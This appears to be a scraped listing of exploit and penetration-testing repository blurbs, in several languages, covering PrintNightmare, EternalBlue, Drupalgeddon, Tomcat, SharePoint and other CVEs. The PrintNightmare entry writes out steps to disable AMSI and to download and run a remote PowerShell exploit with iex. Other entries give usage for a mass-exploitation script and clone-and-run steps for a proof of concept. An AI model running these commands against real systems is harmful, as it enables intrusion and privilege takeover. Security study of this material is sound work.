Windows-Exploitation-Web-Server-Tomcat-8.5.39-CVE-2019-0232

此存储库没有 README。...

cve-2021-1675

cve-2021-1675 deshabilitar amsi: copiar en powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt ejecutar invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' crear cuenta de...

CVE-2025-5548

🚀 CVE-2025-5548 - FreeFloat FTP Server 1.0 漏洞利用 专业漏洞分析与完整的远程缓冲区溢出利用 🎯 项目亮点 完整的真实案例研究 ：CVE-2025-5548（FreeFloat FTP Server 1.0 中通过 NOOP 命令触发的远程基于栈的缓冲区溢出） 手动工具安装 + 自动化脚本（Windows 和 Linux） 在 Windows 11 虚拟机上完整记录的实验环境 逐步漏洞利用 ：模糊测试 → 偏移量 → 坏字符 → JMP ESP → 可用的反向 shell 📂 仓库结构 文件夹| 内容 ---|--- Environment|...

cve-2025-53770

CVE-2025-53770 SharePoint デシリアライゼーション RCE PoC Critical — 認証されていないユーザーが Microsoft SharePoint Server の安全でないデシリアライゼーションを介してリモートコード実行を行い、システムを危険にさらす可能性があります。（CVE-2025-53770） 説明 オンプレミスのMicrosoft SharePoint...

offensive-security-lab-1

offensive-security-lab-1 使用 EternalBlue CVE-2017-0143 漏洞对 Windows 7 虚拟机进行动手漏洞评估与利用的实战指南。涵盖扫描、使用 Metasploit 进行利用、后渗透利用以及受控实验室环境中的补救步骤。...

Drupalgeddon-Mass-Exploiter

Drupalgeddon-Mass-Exploiter CVE-2018-7600 和 CVE-2018-7602 批量利用工具 用法 : python3 mass.py list output workers proxydefault:none exploitnumber exploitnumber: 7=CVE-2018-7600 8=CVE-2018-7602...

metasploitable-penetration-testing-lab

🔐 Metasploitable 2 渗透测试实验室 一个受控的网络安全实验室项目，演示在隔离虚拟环境中的漏洞发现、利用、后利用验证和防御缓解措施。 📌 项目概述 该项目模拟在受控虚拟实验室中进行的真实世界渗透测试活动。 目标是识别易受攻击系统上暴露的服务，检测关键漏洞，进行受控利用，验证系统被攻破，并实施缓解策略。 该项目展示了进攻性和防御性网络安全能力。 🏗 实验室环境 主机系统： Windows 11 虚拟化平台： VMware Workstation Pro 17 攻击机： Kali Linux 目标机： Metasploitable 2 网络模式： NAT（隔离内部网络） 子网...

challenge-cve-2024-3552

challenge-cve-2024-3552 运行命令以启动挑战：docker-compose up 然后访问：http://localhost:8080 启用插件 Web 目录免费 :D 然后开始漏洞利用...

Windows-exploitation-Apache-Tomcat-8.5.19-CVE-2019-0232-

このリポジトリには README がありません。...

The-exploitation-of-Dirty-Cow-CVE-2016-5195

此存储库没有 README。...

CVE-2012-1876

CVE-2012-1876 CVE-2012-1876 简单的计算器利用...

CVE-Exploitation-Reports

CVE-Exploitation-Reports CVE漏洞利用报告：CVE-2007-3280、CVE-2017-0144、CVE-2019-0708 该仓库包含以下常见漏洞与暴露（CVE）的详细利用报告： CVE-2007-3280：RealPlayer ActiveX控件中的缓冲区溢出漏洞，允许远程攻击者通过精心构造的URL执行任意代码。 CVE-2017-0144：与永恒之蓝（EternalBlue）利用工具相关的漏洞，针对微软SMBv1协议，是WannaCry勒索软件传播的关键因素。...

CVE-2024-24919-Exploit

CVE202424919 漏洞扫描器 此Java工具扫描IP地址列表以检测CVE-2024-24919漏洞。它尝试利用该漏洞，并提供打印响应体数据和更改目标文件目录的选项。 目录 用法 功能 安装 运行工具 许可证 用法 该工具从名为domain-IP.txt的文件中读取IP地址列表，检查每个IP是否存在CVE-2024-24919漏洞，并根据结果提供交互式选项进行后续操作。 功能 漏洞检查 ：验证IP地址是否存在CVE-2024-24919漏洞。 交互式响应 ：提示用户打印响应体数据并更改文件目录，以便更深入地利用漏洞。 安装 1. 克隆仓库 ： git clone...

AD-description-password-finder

AD 描述密码查找器 该工具的目的是检查 Active Directory 账户的描述中是否以明文形式存储密码。 要求如下： 拥有 ntds.dit 和 SYSTEM 配置单元的副本 如果没有 Python，可以使用本仓库 binary 文件夹中脚本的 .exe 版本。 蓝队用例 你可能想检查贵组织的 Active Directory 账户的描述字段中是否存储了密码。 内部渗透测试/红队 后渗透阶段：你已成功导出 ntds.dit 和 SYSTEM 配置单元，在破解哈希的同时，你还想检查 Active Directory 账户的描述字段中是否有明文密码。 环境要求 Python 3 si...

CVE-2025-29927

Next.js CVE-2025-29927 このリポジトリには、Next.js の脆弱性 CVE-2025-29927 の概念実証が含まれています。この脆弱性では、内部ヘッダー x-middleware-subrequest を悪用して、認証などのミドルウェアチェックをバイパスできます。 影響を受けるバージョン Next.js 15.x 🧪 このプロジェクトは Next.js v13.4.19 でテストされています。 1. リポジトリをクローンします: git clone https://github.com/goncalocsousa1/CVE-2025-29927.git cd...

metasploitable2-pentest-lab

Metasploitable2 Penetration Testing Lab A hands-on penetratio...

OSCP

OSCP OSCP 学习指南 目录 枚举与侦察 Web 枚举 Nikto 扫描： nikto -h http://10.10.10.1 使用不同工具进行目录爆破： DIRB dirb http://10.10.10.1 Gobuster gobuster dir -u http://10.129.155.74:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x aspx Web 应用渗透测试 XSS 载荷：...

CVE-2022-29469

CVE-2022-29469 SynixCyberCrimeMY メンバー + ムスリムハッカーの皆様に感謝 使い方 git clone https://github.com/S4muraiMelayu1337/CVE-2022-29469/ cd CVE-2022-29469 pip3 install -r requirements.txt python3 cve.py...

CVE-2024-24725-PoC

CVE-2024-24725-PoC...

cve-2024-37762

説明 MachForm バージョン21までが、認証された制限のないファイルアップロードの影響を受け、リモートコード実行に繋がります。 このアプリケーションは、ファイルアップロード機能を備えたフォーム作成の可能性を提供します。デフォルトでは許可されるファイルは一般的な安全なサブセットに制限されていますが、フォーム作成者は許可される追加の形式を指定することもできます。 フォーム作成権限を持つユーザーが、”PHP”形式を許可したファイルアップロード機能付きのフォームを作成した場合、認証されていない任意のユーザーがこのフォームを悪用してリモートコード実行を得ることができます。 リスク 重大度:...